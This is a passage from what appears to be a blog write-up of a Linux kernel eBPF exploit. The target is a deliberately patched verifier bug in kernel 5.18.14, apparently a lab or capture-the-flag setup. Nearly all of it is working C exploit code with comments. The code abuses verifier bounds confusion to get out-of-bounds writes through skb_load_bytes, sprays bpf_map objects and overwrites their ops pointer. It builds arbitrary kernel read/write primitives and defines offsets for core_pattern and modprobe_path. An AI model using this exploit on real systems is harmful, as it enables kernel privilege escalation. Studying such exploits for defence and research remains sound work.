      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = map_elem
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_6),  // arg3 = r6 == map_elem
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
                    0xf1 - 1),  // arg4 = (0xf1-1) * arg4 == (actual_val=0xf1-1;
                                // val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0xf1; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0xf1; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  char buf[0x100] = {
      0,
  };
  // Overwrite low byte of bpf_map-&amp;gt;ops
  // (https://elixir.bootlin.com/linux/v5.18.14/source/include/linux/bpf.h#L63)
  memset(buf, &amp;#39;a&amp;#39;, 0xf0);
  buf[0xf0] = 0xa0 - 8;
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}

int corrupted_map_fd;
uint64_t bpf_map_addr;
void find_corrupted_map_and_leak_bpf_map_addr() {
  char verifier_log[0x10000];

  for (int i = 0; i &amp;lt; sizeof(map_spray_fd) / 4; ++i) {
    int cur_map_fd = map_spray_fd[i];
    if (cur_map_fd == mapfd) {
      continue;
    }

    // uint64_t map_val = 0;
    // int ret = bpf_map_update(cur_map_fd, 0, &amp;amp;map_val);
    // printf(&amp;#34;ret: 0x%x, val: 0x%lx\n&amp;#34;, ret, map_val);

    struct bpf_insn insns[] = {
        // BPF_REG_ARG1 == struct __sk_buff
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                    -0x08),  // *(u64*)(fp-0x08) = skb

        // arg1(mapfd)
        BPF_LD_MAP_FD(BPF_REG_ARG1, cur_map_fd),
        // arg2(&amp;amp;key) = fp-0x10 &amp;lt;- 0
        BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
        // arg3(&amp;amp;val) = fp-0x10 &amp;lt;- 0
        BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_ARG2),
        // arg4(flags)
        BPF_MOV64_IMM(BPF_REG_ARG4, 0),
        // map_update_elem(mapfd, fp-0x10, fp-0x10, 0) or map_lookup_elem(mapfd,
        // fp-0x10) if corrupted
        BPF_EMIT_CALL(BPF_FUNC_map_update_elem),
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x18),

        // arg1(mapfd)
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
        // arg2(&amp;amp;key) = fp-0x10 &amp;lt;- 0
        BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
        // arg3(&amp;amp;val) = fp-0x18 &amp;lt;- return value of map_update_elem or
        // map_lookup_elem.
        BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x18),
        // arg4(flags)
        BPF_MOV64_IMM(BPF_REG_ARG4, 0),
        // map_update_elem(mapfd, fp-0x10, fp-0x18, 0)
        BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
    };

    union bpf_attr prog_attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
        .log_level = 2,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log,
    };

    int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
    if (progfd &amp;lt; 0) {
      puts(&amp;#34;============[failed reason]============&amp;#34;);
      printf(&amp;#34;%s\n&amp;#34;, verifier_log);
      fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
    }

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
      fatal(&amp;#34;socketpair&amp;#34;);
    }
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
      fatal(&amp;#34;setsockopt&amp;#34;);
    }

    write(socks[1], &amp;#34;Hello&amp;#34;, 5);

    uint64_t val;
    bpf_map_lookup(mapfd, 0, &amp;amp;val);

    close(socks[0]);
    close(socks[1]);
    close(progfd);

    if (val != 0) {
      bpf_map_addr = val - 0x110;
      corrupted_map_fd = cur_map_fd;
      continue;
    }

    close(cur_map_fd);
  }
}

uint64_t aaw64(uint64_t addr, uint64_t val) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0x10),
      // arg3(to) = addr
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP,
                  -0x18),  // arg3 = fp-0x18 == addr
      // arg4(len)
      BPF_MOV64_IMM(BPF_REG_ARG4, 8),
      // skb_load_bytes(skb, 0x10, addr, 8)
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr, val};
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return buf[0];
}
uint64_t aar64(uint64_t addr) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_6,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // arg3(&amp;amp;val)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP, -0x18),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr};
  write(socks[1], buf, sizeof(buf));
  bpf_map_lookup(mapfd, 0, &amp;amp;map_val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return map_val;
}

uint64_t bpf_map_addr = 0;

int main() {
  srand(time(NULL));
  char verifier_log[0x10000];

  make_corrupted_map();
  find_corrupted_map_and_leak_bpf_map_addr();

  if (corrupted_map_fd == 0) {
    puts(&amp;#34;[-] Failed to find corrupted bpf_map&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[+] mapfd: %d\n&amp;#34;, mapfd);
  printf(&amp;#34;[+] corrupted_map_fd: %d\n&amp;#34;, corrupted_map_fd);
  printf(&amp;#34;[+] bpf_map_addr: 0x%016lx\n&amp;#34;, bpf_map_addr);

  puts(&amp;#34;[*] Restore corrupted map...&amp;#34;);
  uint64_t bpf_map_ops = aar64(bpf_map_addr) + 8;
  aaw64(bpf_map_addr, bpf_map_ops);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4 id=&#34;leak-addr-of-jit-code-using-oob-read--heap-spray&#34;&gt;Leak addr of JIT code using oob read &amp;amp; heap spray&lt;/h4&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;254613798&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;254613798&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;leak_jit_addr_using_oob_read.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Patch location:
//    https://elixir.bootlin.com/linux/v5.18.14/source/kernel/bpf/verifier.c#L7957
// Diff:
//    7957c7957,7958
//    &amp;lt;               __mark_reg32_known(dst_reg, var32_off.value);
//    ---
//    &amp;gt;               // `scalar_min_max_or` will handler the case
//    &amp;gt;               //__mark_reg32_known(dst_reg, var32_off.value);

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81c124a0 - KERNEL_BASE)
#define BPF_MAP_OPS_LOOKUP_IDX 12
#define BPF_MAP_OPS_LOOKUP_ELEM_OFFSET \
  (BPF_MAP_OPS_OFFSET + BPF_MAP_OPS_LOOKUP_IDX * 8)
#define BPF_MAP_OPS_UPDATE_ELEM_IDX 13
#define BPF_MAP_OPS_UPDATE_ELEM_OFFSET \
  (BPF_MAP_OPS_OFFSET + BPF_MAP_OPS_UPDATE_ELEM_IDX * 8)
#define OPS_CONTAINING_RET_OFFSET (0xffffffff81c15fc8 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff81eb25e0 - KERNEL_BASE)
#define MODBPROB_OFFSET (0xffffffff81e37fe0 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd;
int map_spray_fd[0x100];
void make_corrupted_map() {
  uint64_t map_val = 1;

  puts(&amp;#34;[*] Spray struct bpf_map...&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(map_spray_fd) / 4; i++) {
    map_spray_fd[i] = bpf_map_create(sizeof(uint64_t), 1);
    bpf_map_update(map_spray_fd[i], 0, &amp;amp;map_val);
  }
  mapfd = map_spray_fd[0x81];

  char verifier_log[0x10000];

  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = map_elem
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_6),  // arg3 = r6 == map_elem
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
